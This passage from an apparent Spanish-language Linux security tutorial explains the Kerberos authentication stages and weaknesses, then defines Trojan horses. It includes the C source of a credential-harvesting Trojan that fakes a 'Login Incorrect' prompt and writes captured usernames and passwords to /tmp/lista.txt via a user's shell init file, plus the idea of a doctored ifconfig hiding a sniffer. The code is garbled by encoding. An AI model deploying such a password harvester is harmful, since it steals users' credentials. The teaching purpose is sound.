Kerberos sigue de cerca el protocolo de Needham y Schoroeder con clave secreta, utilizando timestamps como pruebas de frescura con dos propósitos: evitar reenvios de viejos mensajes capturados en la red o la reutilización de viejos tickets obtenidos de zonas de memoria del usuario autorizado.

6.3 Protocolo de autentificación de Kerberos

El protocolo de autenticación de Kerberos es un proceso en el que diferentes elementos colaboran para conseguir identificar a un cliente que solicita un servicio ante un servidor que lo ofrece. Este proceso se realiza en tres etapas:

-Login: Inicialmente el cliente (utilizando el programa login) necesita obtener las credenciales necesarias para acceder a otros servicios. Para ello cuando un usuario conecta sistema Linux que posee kerberos teclea en primer lugar su nombre de usuarios de la misma forma que en un sistema habitual, la diferencia está en que el programa login envia el nombre de usuario al servidor de autenticación de Kerberos para solicitar un ticket que le permita comunicarse posteriormente con el servidor de tickets. Si el usuario es conocido el servidor de autenticación retorna un mensaje que contiene una clave para la comunicación y un timestamp cifrado con la clave secreta del cliente, junto con un ticket para la comunicación con el servidor de tickets(TGS) cifrado con la clave secreta de este servidor.(esto es muy complejo de entender si no se tienen nociones básicas de criptografia)

-Obtención de tickets: el cliente ya posee una clave de sesión para comunicarse con el servidor de tickets y el ticket necesario para hacerlo, cifrado con la clave secreta de este servidor(el cliente no podra descifrar el ticket). Cuando el cliente necesita un determinado servicio es necesario que disponga de un ticket para hacerlo por lo que lo solicita enviándole al servidor de tickets un autenticador que el propio cliente genera, el ticket T y el nombre del servicio al que desea acceder S y un indicador de tiempo. ( para analizar este proceso mas detalladamente consultar la bibliografía )

-Petición de servicio: tras obtener el ticket para comunicarse con el servidor que ofrece el servicio, el cliente ya está preparado para solicitar el servicio; para ello presenta la credencial autentificada ante el servidor final, que es quien va a prestar el servicio. El cliente que solicita el servicio se comporta de la misma forma que cuando solicitó el ticket T: envía a el servidor que ofrece el servicio el autentificador recién generado, el ticket y una petición que puede ir cifrada al servidor.(aunque no es necesario).

6.4 Problemas de Kerberos

Una vez analizado el funcionamiento de Kerberos, podemos pensar que es un sistema muy seguro, sin embargo(como la mayoría de los sistemas) también tiene problemas, tanto de seguridad como de implementación.

Uno de los principales problemas de Kerberos es que cualquier programa que lo utilice debe ser modificado para poder funcionar correctamente siguiendo un proceso denominado ?kerberización?, esto implica que se ha de disponer del código fuente de cada aplicación que se desee kerberizar y también supone la inversión de un tiempo considerable en la modificación del codigo. Este problema no afecta a la seguridad.



Un problema que si afecta a la seguridad de Kerberos es la centralización que presenta el sistema, para un correcto funcionamiento se ha de disponer siempre de un servidor de Kerberos de forma que si la maquina que esta funcionando como servidor de Kerberos falla, la red se convierte en inutilizable. Otra característica de la centralización de Kerberos podemos observarla en el hecho de que casi toda la seguridad reside en el servidor que mantiene la base de datos de claves, de forma que si este se ve comprometido, la red entera esta amenazada.

Otro de los problemas de seguridad es el uso de timestamps como pruebas de frescura en Kerberos, esto obliga a todas las maquinas que ejecutan servicios a mantener sus relojes minimamente sincronizados. Además el tiempo global ha de ser accesible a todas las estaciones, se necesitarán servidores de tiempo con los que los clientes puedan sincronizar periódicamente sus relojes(por ej. cada vez que arrancan o que se produce un determinado evento).

Los problemas descritos anteriormente han hecho que Kerberos no este muy extendido; en la mayoria de redes es suficiente con un protocolo de comunicación cifrado para mantener la minima seguridad de forma que los usuarios prefieren la sencillez a la complejidad de Kerberos.

7. Caballos de troya

7.1 Que es un Troyano

En el mundo de la informática se conoce como troyano o caballo de troya para denominar a los programas en principio inocuos o incluso programas que realizan una finalidad en el sistema pero que cumplen en realidad una finalidad maliciosa. Algunos pueden ocultar acciones reales, un caballo de troya que se oculte tras una utilidad para visualizar ficheros puede realmente visualizar ficheros ficheros además de la acción maliciosa para el que fue creado.

La característica fundamental de estos programas es la de pasar desapercibido y de engañar a los usuarios que los utilizan. El usuario está ayudando al caballo de troya a llevar a cabo su misión sin ser consciente de ello ya que el programa cumple con la función que supuestamente debe hacer aunque realmente este haciendo algo mas.(de lo que el usuario no se da cuenta).

Una de las finalidades de los caballos de troya es la de ocultar la presencia de un intruso en la maquina mientras se encuentra en el sistema, es decir que los comandos (who, netstat, ps,....) no encuentren información del intruso en el sistema. Este tipo de caballos de troya se instalan en el sistema como versiones modificadas de estas herramientas, que siguen realizando su cometido pero solo parcialmente, es decir en el comando who por ej. seguirá mostrando todos los usuarios que se encuentran en el sistema en un momento dado, todos exceptuando al usuario intruso. Si el administrador ejecuta el comando who no podrá saber que existe un intruso en el sistema.

A veces los troyanos se confunden con virus puesto que muchos de ellos tienen algun tipo de acción destructiva contra el sistema. Un caballo de troya no infecta otros archivos(como los virus informáticos) sino que lo sustituye sin que el usuario se de cuenta de ello.

7.2 Ejemplo de un troyano en Linux

Un ejemplo típico y de fácil implementación de un troyano en linux es un script de inicialización de shell que captura la clave del usuario(cuando el accede a la maquina linux) y la guarda en un archivo donde el atacante pueda leerla, mientras esto se produce por pantalla se emula que el usuario ha introducido mal su contraseña, funcionando normalmente la segunda ocasión en que la introduce.

Para esto solo tenemos que saber que cuando un usuario entra en el sistema se ejecuta el script de inicialización de la shell que tenga asignada por defecto para el caso de la shell bash se trata de .bash_profile y para el caso de una shell csh es el .csh. Esta información se puede obtener de las paginas del manual de la distribución linux asociadas a cada uno de los shells, para saber el shell de un determinado usuario podemos consultar el archivo /etc/passwd. El caballo de troya simula que el usuario se ha equivocado en la introducción de su password, de forma que se ve obligado a volver a introducirla pero ahora en lugar de estar autentificándose frente al sistema esta dando sus datos al caballo de troya, este los almacenará en el lugar donde se le haya especificado, el caballo de troya a continuación debe borrarse o sobrescribirse con el programa original para que el usuario no se de cuenta de que algo raro esta pasando.

El problema de este troyano es que para utilizarlo el usuario víctima tiene que haber cometido el error de haber dado permiso de escritura en su directorio raiz, en su archivo de inicialización mas concretamente.

He aquí el codigo fuente del troyano publicado en la revista Solo Linux(numero y articulo especificado en la bilbliografia)

#include <stdio.h>

#include <unistd.h>

#define fichero ?/tmp/lista.txt?

Aqui especificamos donde queremos guardar las información(login y passwords) que no s consiga el troyano

Main(){

Char nombre[80];

Char *password;

File *f;

Ahora mostramos el mensaje de error que queremos que vea el usuario

Printf(?Login Incorrect\n\n?);

Ahora se simula la petición de datos

Printf(?login: ?);

Scanf(?%s?,nombre);

Password=getpass(?Password:?);

f=fopen(fichero,?at?);

if (f==NULL){

Si no consigue grabar la informacion sale sin realizar nada

return;

}

fprintf(f,?\n%s%s?,nombre,password);

fclose(f);

return

}

Otro ejemplo clasico de troyano consistira en un troyano que sustituyese al comando ?ifconfig? del sistema que nos muestra por la pantalla información sobre la configuración de los adaptadores de red del sistema, entre toda la información que muestra esta utilidad se indica si un determinado adaptador de red instalado en el sistema funciona en modo promiscuo, lo que significaría con una probabilidad muy alta que existe un sniffer(escucha electrónica) en la red. De esta forma podemos modificar el codigo fuente de ?ifconfig? para que no muestre la información relativa a el sniffer.

BIBLIOGRAFÍA

-Linux Máxima Seguridad Edición Especial,Anónimo - Prentice Hall (Madrid, 2000)

-Hackers ?Secretos y soluciones para la seguridad de redes?, Stuart McLure, Joel Scambray, George Kurtz -McGraw-Hill (2000)

-Máxima Seguridad en Internet, Anónimo - Anaya(1998)

-Hacking en Internet, Luis A. Iñigo, Claudio Hernandez, Israel Robla - Coelma(1998)

-Seguridad en Unix y Redes, Antonio Villalón Huerta - Manual de mas de 1000 pags bajado de la pagina del proyecto Lucas (2000)

-?Defensa contra Intrusos? de Revista ?Todo Linux? (Año 1 Numero 9)

-?Caballos de troya y Backdoors? de Revista ?Solo Linux? (Numero 8)

RECURSOS DE INTERNET CONSULTADOS

-?Seguridad en Linux?

http://www.iec.csic.es/criptonomicon/linux/

-?Guía Básica de Seguridad en Linux Red Hat?

http://www.utc.uam.es/ss/rec/linuxsecrh.html

-?Proyecto Lucas- Manuales de Linux en Español?

http://lucas.hispalinux.es/htmls/manuales.html

- ?Protegiéndose de los ataques con contraseña?

http://www.unam-cert.unam.mx/passwd.html